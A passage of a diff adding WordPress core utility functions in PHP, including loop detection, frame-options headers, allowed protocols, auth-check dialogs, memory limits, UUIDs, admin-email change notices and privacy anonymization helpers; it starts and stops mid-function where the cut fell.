+	while (
+		$tortoise
+	&&
+		( $evanescent_hare = isset( $override[$hare] ) ? $override[$hare] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
+	&&
+		( $hare = isset( $override[$evanescent_hare] ) ? $override[$evanescent_hare] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
+	) {
+		if ( $_return_loop )
+			$return[$tortoise] = $return[$evanescent_hare] = $return[$hare] = true;
+
+		// tortoise got lapped - must be a loop
+		if ( $tortoise == $evanescent_hare || $tortoise == $hare )
+			return $_return_loop ? $return : $tortoise;
+
+		// Increment tortoise by one step
+		$tortoise = isset( $override[$tortoise] ) ? $override[$tortoise] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
+	}
+
+	return false;
+}
+
+/**
+ * Send a HTTP header to limit rendering of pages to same origin iframes.
+ *
+ * @since 3.1.3
+ *
+ * @see https://developer.mozilla.org/en/the_x-frame-options_response_header
+ */
+function send_frame_options_header() {
+	@header( 'X-Frame-Options: SAMEORIGIN' );
+}
+
+/**
+ * Retrieve a list of protocols to allow in HTML attributes.
+ *
+ * @since 3.3.0
+ * @since 4.3.0 Added 'webcal' to the protocols array.
+ * @since 4.7.0 Added 'urn' to the protocols array.
+ *
+ * @see wp_kses()
+ * @see esc_url()
+ *
+ * @staticvar array $protocols
+ *
+ * @return array Array of allowed protocols. Defaults to an array containing 'http', 'https',
+ *               'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet',
+ *               'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'.
+ */
+function wp_allowed_protocols() {
+	static $protocols = array();
+
+	if ( empty( $protocols ) ) {
+		$protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' );
+	}
+
+	if ( ! did_action( 'wp_loaded' ) ) {
+		/**
+		 * Filters the list of protocols allowed in HTML attributes.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more.
+		 */
+		$protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) );
+	}
+
+	return $protocols;
+}
+
+/**
+ * Return a comma-separated string of functions that have been called to get
+ * to the current point in code.
+ *
+ * @since 3.4.0
+ *
+ * @see https://core.trac.wordpress.org/ticket/19589
+ *
+ * @param string $ignore_class Optional. A class to ignore all function calls within - useful
+ *                             when you want to just give info about the callee. Default null.
+ * @param int    $skip_frames  Optional. A number of stack frames to skip - useful for unwinding
+ *                             back to the source of the issue. Default 0.
+ * @param bool   $pretty       Optional. Whether or not you want a comma separated string or raw
+ *                             array returned. Default true.
+ * @return string|array Either a string containing a reversed comma separated trace or an array
+ *                      of individual calls.
+ */
+function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) {
+	if ( version_compare( PHP_VERSION, '5.2.5', '>=' ) )
+		$trace = debug_backtrace( false );
+	else
+		$trace = debug_backtrace();
+
+	$caller = array();
+	$check_class = ! is_null( $ignore_class );
+	$skip_frames++; // skip this function
+
+	foreach ( $trace as $call ) {
+		if ( $skip_frames > 0 ) {
+			$skip_frames--;
+		} elseif ( isset( $call['class'] ) ) {
+			if ( $check_class && $ignore_class == $call['class'] )
+				continue; // Filter out calls
+
+			$caller[] = "{$call['class']}{$call['type']}{$call['function']}";
+		} else {
+			if ( in_array( $call['function'], array( 'do_action', 'apply_filters' ) ) ) {
+				$caller[] = "{$call['function']}('{$call['args'][0]}')";
+			} elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ) ) ) {
+				$caller[] = $call['function'] . "('" . str_replace( array( WP_CONTENT_DIR, ABSPATH ) , '', $call['args'][0] ) . "')";
+			} else {
+				$caller[] = $call['function'];
+			}
+		}
+	}
+	if ( $pretty )
+		return join( ', ', array_reverse( $caller ) );
+	else
+		return $caller;
+}
+
+/**
+ * Retrieve ids that are not already present in the cache.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param array  $object_ids ID list.
+ * @param string $cache_key  The cache bucket to check against.
+ *
+ * @return array List of ids not present in the cache.
+ */
+function _get_non_cached_ids( $object_ids, $cache_key ) {
+	$clean = array();
+	foreach ( $object_ids as $id ) {
+		$id = (int) $id;
+		if ( !wp_cache_get( $id, $cache_key ) ) {
+			$clean[] = $id;
+		}
+	}
+
+	return $clean;
+}
+
+/**
+ * Test if the current device has the capability to upload files.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @return bool Whether the device is able to upload files.
+ */
+function _device_can_upload() {
+	if ( ! wp_is_mobile() )
+		return true;
+
+	$ua = $_SERVER['HTTP_USER_AGENT'];
+
+	if ( strpos($ua, 'iPhone') !== false
+		|| strpos($ua, 'iPad') !== false
+		|| strpos($ua, 'iPod') !== false ) {
+			return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' );
+	}
+
+	return true;
+}
+
+/**
+ * Test if a given path is a stream URL
+ *
+ * @since 3.5.0
+ *
+ * @param string $path The resource path or URL.
+ * @return bool True if the path is a stream URL.
+ */
+function wp_is_stream( $path ) {
+	if ( false === strpos( $path, '://' ) ) {
+		// $path isn't a stream
+		return false;
+	}
+
+	$wrappers    = stream_get_wrappers();
+	$wrappers    = array_map( 'preg_quote', $wrappers );
+	$wrappers_re = '(' . join( '|', $wrappers ) . ')';
+
+	return preg_match( "!^$wrappers_re://!", $path ) === 1;
+}
+
+/**
+ * Test if the supplied date is valid for the Gregorian calendar.
+ *
+ * @since 3.5.0
+ *
+ * @link https://secure.php.net/manual/en/function.checkdate.php
+ *
+ * @param  int    $month       Month number.
+ * @param  int    $day         Day number.
+ * @param  int    $year        Year number.
+ * @param  string $source_date The date to filter.
+ * @return bool True if valid date, false if not valid date.
+ */
+function wp_checkdate( $month, $day, $year, $source_date ) {
+	/**
+	 * Filters whether the given date is valid for the Gregorian calendar.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param bool   $checkdate   Whether the given date is valid.
+	 * @param string $source_date Date to check.
+	 */
+	return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date );
+}
+
+/**
+ * Load the auth check for monitoring whether the user is still logged in.
+ *
+ * Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
+ *
+ * This is disabled for certain screens where a login screen could cause an
+ * inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used
+ * for fine-grained control.
+ *
+ * @since 3.6.0
+ */
+function wp_auth_check_load() {
+	if ( ! is_admin() && ! is_user_logged_in() )
+		return;
+
+	if ( defined( 'IFRAME_REQUEST' ) )
+		return;
+
+	$screen = get_current_screen();
+	$hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' );
+	$show = ! in_array( $screen->id, $hidden );
+
+	/**
+	 * Filters whether to load the authentication check.
+	 *
+	 * Passing a falsey value to the filter will effectively short-circuit
+	 * loading the authentication check.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param bool      $show   Whether to load the authentication check.
+	 * @param WP_Screen $screen The current screen object.
+	 */
+	if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) {
+		wp_enqueue_style( 'wp-auth-check' );
+		wp_enqueue_script( 'wp-auth-check' );
+
+		add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 );
+		add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 );
+	}
+}
+
+/**
+ * Output the HTML that shows the wp-login dialog when the user is no longer logged in.
+ *
+ * @since 3.6.0
+ */
+function wp_auth_check_html() {
+	$login_url = wp_login_url();
+	$current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'];
+	$same_domain = ( strpos( $login_url, $current_domain ) === 0 );
+
+	/**
+	 * Filters whether the authentication check originated at the same domain.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param bool $same_domain Whether the authentication check originated at the same domain.
+	 */
+	$same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain );
+	$wrap_class = $same_domain ? 'hidden' : 'hidden fallback';
+
+	?>
+	<div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>">
+	<div id="wp-auth-check-bg"></div>
+	<div id="wp-auth-check">
+	<button type="button" class="wp-auth-check-close button-link"><span class="screen-reader-text"><?php _e( 'Close dialog' ); ?></span></button>
+	<?php
+
+	if ( $same_domain ) {
+		$login_src = add_query_arg( array(
+			'interim-login' => '1',
+			'wp_lang'       => get_user_locale(),
+		), $login_url );
+		?>
+		<div id="wp-auth-check-form" class="loading" data-src="<?php echo esc_url( $login_src ); ?>"></div>
+		<?php
+	}
+
+	?>
+	<div class="wp-auth-fallback">
+		<p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e('Session expired'); ?></b></p>
+		<p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e('Please log in again.'); ?></a>
+		<?php _e('The login page will open in a new window. After logging in you can close it and return to this page.'); ?></p>
+	</div>
+	</div>
+	</div>
+	<?php
+}
+
+/**
+ * Check whether a user is still logged in, for the heartbeat.
+ *
+ * Send a result that shows a log-in box if the user is no longer logged in,
+ * or if their cookie is within the grace period.
+ *
+ * @since 3.6.0
+ *
+ * @global int $login_grace_period
+ *
+ * @param array $response  The Heartbeat response.
+ * @return array $response The Heartbeat response with 'wp-auth-check' value set.
+ */
+function wp_auth_check( $response ) {
+	$response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] );
+	return $response;
+}
+
+/**
+ * Return RegEx body to liberally match an opening HTML tag.
+ *
+ * Matches an opening HTML tag that:
+ * 1. Is self-closing or
+ * 2. Has no body but has a closing tag of the same name or
+ * 3. Contains a body and a closing tag of the same name
+ *
+ * Note: this RegEx does not balance inner tags and does not attempt
+ * to produce valid HTML
+ *
+ * @since 3.6.0
+ *
+ * @param string $tag An HTML tag name. Example: 'video'.
+ * @return string Tag RegEx.
+ */
+function get_tag_regex( $tag ) {
+	if ( empty( $tag ) )
+		return;
+	return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) );
+}
+
+/**
+ * Retrieve a canonical form of the provided charset appropriate for passing to PHP
+ * functions such as htmlspecialchars() and charset html attributes.
+ *
+ * @since 3.6.0
+ * @access private
+ *
+ * @see https://core.trac.wordpress.org/ticket/23688
+ *
+ * @param string $charset A charset name.
+ * @return string The canonical form of the charset.
+ */
+function _canonical_charset( $charset ) {
+	if ( 'utf-8' === strtolower( $charset ) || 'utf8' === strtolower( $charset) ) {
+
+		return 'UTF-8';
+	}
+
+	if ( 'iso-8859-1' === strtolower( $charset ) || 'iso8859-1' === strtolower( $charset ) ) {
+
+		return 'ISO-8859-1';
+	}
+
+	return $charset;
+}
+
+/**
+ * Set the mbstring internal encoding to a binary safe encoding when func_overload
+ * is enabled.
+ *
+ * When mbstring.func_overload is in use for multi-byte encodings, the results from
+ * strlen() and similar functions respect the utf8 characters, causing binary data
+ * to return incorrect lengths.
+ *
+ * This function overrides the mbstring encoding to a binary-safe encoding, and
+ * resets it to the users expected encoding afterwards through the
+ * `reset_mbstring_encoding` function.
+ *
+ * It is safe to recursively call this function, however each
+ * `mbstring_binary_safe_encoding()` call must be followed up with an equal number
+ * of `reset_mbstring_encoding()` calls.
+ *
+ * @since 3.7.0
+ *
+ * @see reset_mbstring_encoding()
+ *
+ * @staticvar array $encodings
+ * @staticvar bool  $overloaded
+ *
+ * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.
+ *                    Default false.
+ */
+function mbstring_binary_safe_encoding( $reset = false ) {
+	static $encodings = array();
+	static $overloaded = null;
+
+	if ( is_null( $overloaded ) )
+		$overloaded = function_exists( 'mb_internal_encoding' ) && ( ini_get( 'mbstring.func_overload' ) & 2 );
+
+	if ( false === $overloaded )
+		return;
+
+	if ( ! $reset ) {
+		$encoding = mb_internal_encoding();
+		array_push( $encodings, $encoding );
+		mb_internal_encoding( 'ISO-8859-1' );
+	}
+
+	if ( $reset && $encodings ) {
+		$encoding = array_pop( $encodings );
+		mb_internal_encoding( $encoding );
+	}
+}
+
+/**
+ * Reset the mbstring internal encoding to a users previously set encoding.
+ *
+ * @see mbstring_binary_safe_encoding()
+ *
+ * @since 3.7.0
+ */
+function reset_mbstring_encoding() {
+	mbstring_binary_safe_encoding( true );
+}
+
+/**
+ * Filter/validate a variable as a boolean.
+ *
+ * Alternative to `filter_var( $var, FILTER_VALIDATE_BOOLEAN )`.
+ *
+ * @since 4.0.0
+ *
+ * @param mixed $var Boolean value to validate.
+ * @return bool Whether the value is validated.
+ */
+function wp_validate_boolean( $var ) {
+	if ( is_bool( $var ) ) {
+		return $var;
+	}
+
+	if ( is_string( $var ) && 'false' === strtolower( $var ) ) {
+		return false;
+	}
+
+	return (bool) $var;
+}
+
+/**
+ * Delete a file
+ *
+ * @since 4.2.0
+ *
+ * @param string $file The path to the file to delete.
+ */
+function wp_delete_file( $file ) {
+	/**
+	 * Filters the path of the file to delete.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $file Path to the file to delete.
+	 */
+	$delete = apply_filters( 'wp_delete_file', $file );
+	if ( ! empty( $delete ) ) {
+		@unlink( $delete );
+	}
+}
+
+/**
+ * Deletes a file if its path is within the given directory.
+ *
+ * @since 4.9.7
+ *
+ * @param string $file      Absolute path to the file to delete.
+ * @param string $directory Absolute path to a directory.
+ * @return bool True on success, false on failure.
+ */
+function wp_delete_file_from_directory( $file, $directory ) {
+	$real_file = realpath( wp_normalize_path( $file ) );
+	$real_directory = realpath( wp_normalize_path( $directory ) );
+
+	if ( false === $real_file || false === $real_directory || strpos( wp_normalize_path( $real_file ), trailingslashit( wp_normalize_path( $real_directory ) ) ) !== 0 ) {
+		return false;
+	}
+
+	wp_delete_file( $file );
+
+	return true;
+}
+
+/**
+ * Outputs a small JS snippet on preview tabs/windows to remove `window.name` on unload.
+ *
+ * This prevents reusing the same tab for a preview when the user has navigated away.
+ *
+ * @since 4.3.0
+ *
+ * @global WP_Post $post
+ */
+function wp_post_preview_js() {
+	global $post;
+
+	if ( ! is_preview() || empty( $post ) ) {
+		return;
+	}
+
+	// Has to match the window name used in post_submit_meta_box()
+	$name = 'wp-preview-' . (int) $post->ID;
+
+	?>
+	<script>
+	( function() {
+		var query = document.location.search;
+
+		if ( query && query.indexOf( 'preview=true' ) !== -1 ) {
+			window.name = '<?php echo $name; ?>';
+		}
+
+		if ( window.addEventListener ) {
+			window.addEventListener( 'unload', function() { window.name = ''; }, false );
+		}
+	}());
+	</script>
+	<?php
+}
+
+/**
+ * Parses and formats a MySQL datetime (Y-m-d H:i:s) for ISO8601/RFC3339.
+ *
+ * Explicitly strips timezones, as datetimes are not saved with any timezone
+ * information. Including any information on the offset could be misleading.
+ *
+ * @since 4.4.0
+ *
+ * @param string $date_string Date string to parse and format.
+ * @return string Date formatted for ISO8601/RFC3339.
+ */
+function mysql_to_rfc3339( $date_string ) {
+	$formatted = mysql2date( 'c', $date_string, false );
+
+	// Strip timezone information
+	return preg_replace( '/(?:Z|[+-]\d{2}(?::\d{2})?)$/', '', $formatted );
+}
+
+/**
+ * Attempts to raise the PHP memory limit for memory intensive processes.
+ *
+ * Only allows raising the existing limit and prevents lowering it.
+ *
+ * @since 4.6.0
+ *
+ * @param string $context Optional. Context in which the function is called. Accepts either 'admin',
+ *                        'image', or an arbitrary other context. If an arbitrary context is passed,
+ *                        the similarly arbitrary {@see '{$context}_memory_limit'} filter will be
+ *                        invoked. Default 'admin'.
+ * @return bool|int|string The limit that was set or false on failure.
+ */
+function wp_raise_memory_limit( $context = 'admin' ) {
+	// Exit early if the limit cannot be changed.
+	if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
+		return false;
+	}
+
+	$current_limit     = @ini_get( 'memory_limit' );
+	$current_limit_int = wp_convert_hr_to_bytes( $current_limit );
+
+	if ( -1 === $current_limit_int ) {
+		return false;
+	}
+
+	$wp_max_limit     = WP_MAX_MEMORY_LIMIT;
+	$wp_max_limit_int = wp_convert_hr_to_bytes( $wp_max_limit );
+	$filtered_limit   = $wp_max_limit;
+
+	switch ( $context ) {
+		case 'admin':
+			/**
+			 * Filters the maximum memory limit available for administration screens.
+			 *
+			 * This only applies to administrators, who may require more memory for tasks
+			 * like updates. Memory limits when processing images (uploaded or edited by
+			 * users of any role) are handled separately.
+			 *
+			 * The `WP_MAX_MEMORY_LIMIT` constant specifically defines the maximum memory
+			 * limit available when in the administration back end. The default is 256M
+			 * (256 megabytes of memory) or the original `memory_limit` php.ini value if
+			 * this is higher.
+			 *
+			 * @since 3.0.0
+			 * @since 4.6.0 The default now takes the original `memory_limit` into account.
+			 *
+			 * @param int|string $filtered_limit The maximum WordPress memory limit. Accepts an integer
+			 *                                   (bytes), or a shorthand string notation, such as '256M'.
+			 */
+			$filtered_limit = apply_filters( 'admin_memory_limit', $filtered_limit );
+			break;
+
+		case 'image':
+			/**
+			 * Filters the memory limit allocated for image manipulation.
+			 *
+			 * @since 3.5.0
+			 * @since 4.6.0 The default now takes the original `memory_limit` into account.
+			 *
+			 * @param int|string $filtered_limit Maximum memory limit to allocate for images.
+			 *                                   Default `WP_MAX_MEMORY_LIMIT` or the original
+			 *                                   php.ini `memory_limit`, whichever is higher.
+			 *                                   Accepts an integer (bytes), or a shorthand string
+			 *                                   notation, such as '256M'.
+			 */
+			$filtered_limit = apply_filters( 'image_memory_limit', $filtered_limit );
+			break;
+
+		default:
+			/**
+			 * Filters the memory limit allocated for arbitrary contexts.
+			 *
+			 * The dynamic portion of the hook name, `$context`, refers to an arbitrary
+			 * context passed on calling the function. This allows for plugins to define
+			 * their own contexts for raising the memory limit.
+			 *
+			 * @since 4.6.0
+			 *
+			 * @param int|string $filtered_limit Maximum memory limit to allocate for images.
+			 *                                   Default '256M' or the original php.ini `memory_limit`,
+			 *                                   whichever is higher. Accepts an integer (bytes), or a
+			 *                                   shorthand string notation, such as '256M'.
+			 */
+			$filtered_limit = apply_filters( "{$context}_memory_limit", $filtered_limit );
+			break;
+	}
+
+	$filtered_limit_int = wp_convert_hr_to_bytes( $filtered_limit );
+
+	if ( -1 === $filtered_limit_int || ( $filtered_limit_int > $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) {
+		if ( false !== @ini_set( 'memory_limit', $filtered_limit ) ) {
+			return $filtered_limit;
+		} else {
+			return false;
+		}
+	} elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) {
+		if ( false !== @ini_set( 'memory_limit', $wp_max_limit ) ) {
+			return $wp_max_limit;
+		} else {
+			return false;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Generate a random UUID (version 4).
+ *
+ * @since 4.7.0
+ *
+ * @return string UUID.
+ */
+function wp_generate_uuid4() {
+	return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
+		mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),
+		mt_rand( 0, 0xffff ),
+		mt_rand( 0, 0x0fff ) | 0x4000,
+		mt_rand( 0, 0x3fff ) | 0x8000,
+		mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )
+	);
+}
+
+/**
+ * Validates that a UUID is valid.
+ *
+ * @since 4.9.0
+ *
+ * @param mixed $uuid    UUID to check.
+ * @param int   $version Specify which version of UUID to check against. Default is none, to accept any UUID version. Otherwise, only version allowed is `4`.
+ * @return bool The string is a valid UUID or false on failure.
+ */
+function wp_is_uuid( $uuid, $version = null ) {
+
+	if ( ! is_string( $uuid ) ) {
+		return false;
+	}
+
+	if ( is_numeric( $version ) ) {
+		if ( 4 !== (int) $version ) {
+			_doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' );
+			return false;
+		}
+		$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/';
+	} else {
+		$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/';
+	}
+
+	return (bool) preg_match( $regex, $uuid );
+}
+
+/**
+ * Get unique ID.
+ *
+ * This is a PHP implementation of Underscore's uniqueId method. A static variable
+ * contains an integer that is incremented with each call. This number is returned
+ * with the optional prefix. As such the returned value is not universally unique,
+ * but it is unique across the life of the PHP process.
+ *
+ * @since 5.0.3
+ *
+ * @staticvar int $id_counter
+ *
+ * @param string $prefix Prefix for the returned ID.
+ * @return string Unique ID.
+ */
+function wp_unique_id( $prefix = '' ) {
+	static $id_counter = 0;
+	return $prefix . (string) ++$id_counter;
+}
+
+/**
+ * Get last changed date for the specified cache group.
+ *
+ * @since 4.7.0
+ *
+ * @param string $group Where the cache contents are grouped.
+ *
+ * @return string $last_changed UNIX timestamp with microseconds representing when the group was last changed.
+ */
+function wp_cache_get_last_changed( $group ) {
+	$last_changed = wp_cache_get( 'last_changed', $group );
+
+	if ( ! $last_changed ) {
+		$last_changed = microtime();
+		wp_cache_set( 'last_changed', $last_changed, $group );
+	}
+
+	return $last_changed;
+}
+
+/**
+ * Send an email to the old site admin email address when the site admin email address changes.
+ *
+ * @since 4.9.0
+ *
+ * @param string $old_email   The old site admin email address.
+ * @param string $new_email   The new site admin email address.
+ * @param string $option_name The relevant database option name.
+ */
+function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) {
+	$send = true;
+
+	// Don't send the notification to the default 'admin_email' value.
+	if ( 'you@example.com' === $old_email ) {
+		$send = false;
+	}
+
+	/**
+	 * Filters whether to send the site admin email change notification email.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param bool   $send      Whether to send the email notification.
+	 * @param string $old_email The old site admin email address.
+	 * @param string $new_email The new site admin email address.
+	 */
+	$send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email );
+
+	if ( ! $send ) {
+		return;
+	}
+
+	/* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */
+	$email_change_text = __( 'Hi,
+
+This notice confirms that the admin email address was changed on ###SITENAME###.
+
+The new admin email address is ###NEW_EMAIL###.
+
+This email has been sent to ###OLD_EMAIL###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###' );
+
+	$email_change_email = array(
+		'to'      => $old_email,
+		/* translators: Site admin email change notification email subject. %s: Site title */
+		'subject' => __( '[%s] Notice of Admin Email Change' ),
+		'message' => $email_change_text,
+		'headers' => '',
+	);
+	// get site name
+	$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
+
+	/**
+	 * Filters the contents of the email notification sent when the site admin email address is changed.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array $email_change_email {
+	 *            Used to build wp_mail().
+	 *
+	 *            @type string $to      The intended recipient.
+	 *            @type string $subject The subject of the email.
+	 *            @type string $message The content of the email.
+	 *                The following strings have a special meaning and will get replaced dynamically:
+	 *                - ###OLD_EMAIL### The old site admin email address.
+	 *                - ###NEW_EMAIL### The new site admin email address.
+	 *                - ###SITENAME###  The name of the site.
+	 *                - ###SITEURL###   The URL to the site.
+	 *            @type string $headers Headers.
+	 *        }
+	 * @param string $old_email The old site admin email address.
+	 * @param string $new_email The new site admin email address.
+	 */
+	$email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email );
+
+	$email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] );
+	$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] );
+	$email_change_email['message'] = str_replace( '###SITENAME###',  $site_name, $email_change_email['message'] );
+	$email_change_email['message'] = str_replace( '###SITEURL###',   home_url(), $email_change_email['message'] );
+
+	wp_mail( $email_change_email['to'], sprintf(
+		$email_change_email['subject'],
+		$site_name
+	), $email_change_email['message'], $email_change_email['headers'] );
+}
+
+/**
+ * Return an anonymized IPv4 or IPv6 address.
+ *
+ * @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`.
+ *
+ * @param  string $ip_addr        The IPv4 or IPv6 address to be anonymized.
+ * @param  bool   $ipv6_fallback  Optional. Whether to return the original IPv6 address if the needed functions
+ *                                to anonymize it are not present. Default false, return `::` (unspecified address).
+ * @return string  The anonymized IP address.
+ */
+function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) {
+	// Detect what kind of IP address this is.
+	$ip_prefix = '';
+	$is_ipv6   = substr_count( $ip_addr, ':' ) > 1;
+	$is_ipv4   = ( 3 === substr_count( $ip_addr, '.' ) );
+
+	if ( $is_ipv6 && $is_ipv4 ) {
+		// IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4.
+		$ip_prefix = '::ffff:';
+		$ip_addr   = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr );
+		$ip_addr   = str_replace( ']', '', $ip_addr );
+		$is_ipv6   = false;
+	}
+
+	if ( $is_ipv6 ) {
+		// IPv6 addresses will always be enclosed in [] if there's a port.
+		$left_bracket  = strpos( $ip_addr, '[' );
+		$right_bracket = strpos( $ip_addr, ']' );
+		$percent       = strpos( $ip_addr, '%' );
+		$netmask       = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000';
+
+		// Strip the port (and [] from IPv6 addresses), if they exist.
+		if ( false !== $left_bracket && false !== $right_bracket ) {
+			$ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 );
+		} elseif ( false !== $left_bracket || false !== $right_bracket ) {
+			// The IP has one bracket, but not both, so it's malformed.
+			return '::';
+		}
+
+		// Strip the reachability scope.
+		if ( false !== $percent ) {
+			$ip_addr = substr( $ip_addr, 0, $percent );
+		}
+
+		// No invalid characters should be left.
+		if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) {
+			return '::';
+		}
+
+		// Partially anonymize the IP by reducing it to the corresponding network ID.
+		if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) {
+			$ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) );
+			if ( false === $ip_addr) {
+				return '::';
+			}
+		} elseif ( ! $ipv6_fallback ) {
+			return '::';
+		}
+	} elseif ( $is_ipv4 ) {
+		// Strip any port and partially anonymize the IP.
+		$last_octet_position = strrpos( $ip_addr, '.' );
+		$ip_addr             = substr( $ip_addr, 0, $last_octet_position ) . '.0';
+	} else {
+		return '0.0.0.0';
+	}
+
+	// Restore the IPv6 prefix to compatibility mode addresses.
+	return $ip_prefix . $ip_addr;
+}
+
+/**
+ * Return uniform "anonymous" data by type.
+ *
+ * @since 4.9.6
+ *
+ * @param  string $type The type of data to be anonymized.
+ * @param  string $data Optional The data to be anonymized.
+ * @return string The anonymous data for the requested type.
+ */
+function wp_privacy_anonymize_data( $type, $data = '' ) {
+
+	switch ( $type ) {
+		case 'email':
+			$anonymous = 'deleted@site.invalid';
+			break;
+		case 'url':
+			$anonymous = 'https://site.invalid';
+			break;
+		case 'ip':
+			$anonymous = wp_privacy_anonymize_ip( $data );
+			break;
+		case 'date':
+			$anonymous = '0000-00-00 00:00:00';
+			break;
+		case 'text':
+			/* translators: deleted text */
+			$anonymous = __( '[deleted]' );
+			break;
+		case 'longtext':
+			/* translators: deleted long text */
+			$anonymous = __( 'This content was deleted by the author.' );
+			break;
+		default:
+			$anonymous = '';
+	}
+
+	/**
+	 * Filters the anonymous data for each type.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $anonymous Anonymized data.
+	 * @param string $type      Type of the data.
+	 * @param string $data      Original data.
+	 */
+	return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data );
+}
+
+/**
+ * Returns the directory used to store personal data export files.
+ *
+ * @since 4.9.6
+ *
+ * @see wp_privacy_exports_url
+ *
+ * @return string Exports directory.
+ */
+function wp_privacy_exports_dir() {
+	$upload_dir  = wp_upload_dir();
+	$exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/';
+
+	/**
+	 * Filters the directory used to store personal data export files.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $exports_dir Exports directory.
+	 */
+	return apply_filters( 'wp_privacy_exports_dir', $exports_dir );
+}
+
+/**
+ * Returns the URL of the directory used to store personal data export files.
+ *
+ * @since 4.9.6
+ *
+ * @see wp_privacy_exports_dir
+ *
+ * @return string Exports directory URL.
+ */
+function wp_privacy_exports_url() {
+	$upload_dir  = wp_upload_dir();
+	$exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/';
+
+	/**
+	 * Filters the URL of the directory used to store personal data export files.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $exports_url Exports directory URL.
+	 */
+	return apply_filters( 'wp_privacy_exports_url', $exports_url );
+}
+
+/**
+ * Schedule a `WP_Cron` job to delete expired export files.
+ *
+ * @since 4.9.6
+ */
+function wp_schedule_delete_old_privacy_export_files() {
+	if ( wp_installing() ) {
+		return;
+	}
+
+	if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) {
+		wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' );
+	}
+}
+
+/**
+ * Cleans up export files older than three days old.
+ *
+ * The export files are stored in `wp-content/uploads`, and are therefore publicly
+ * accessible. A CSPRN is appended to the filename to mitigate the risk of an
+ * unauthorized person downloading the file, but it is still possible. Deleting
+ * the file after the data subject has had a chance to delete it adds an additional
+ * layer of protection.
+ *
+ * @since 4.9.6
+ */
+function wp_privacy_delete_old_export_files() {
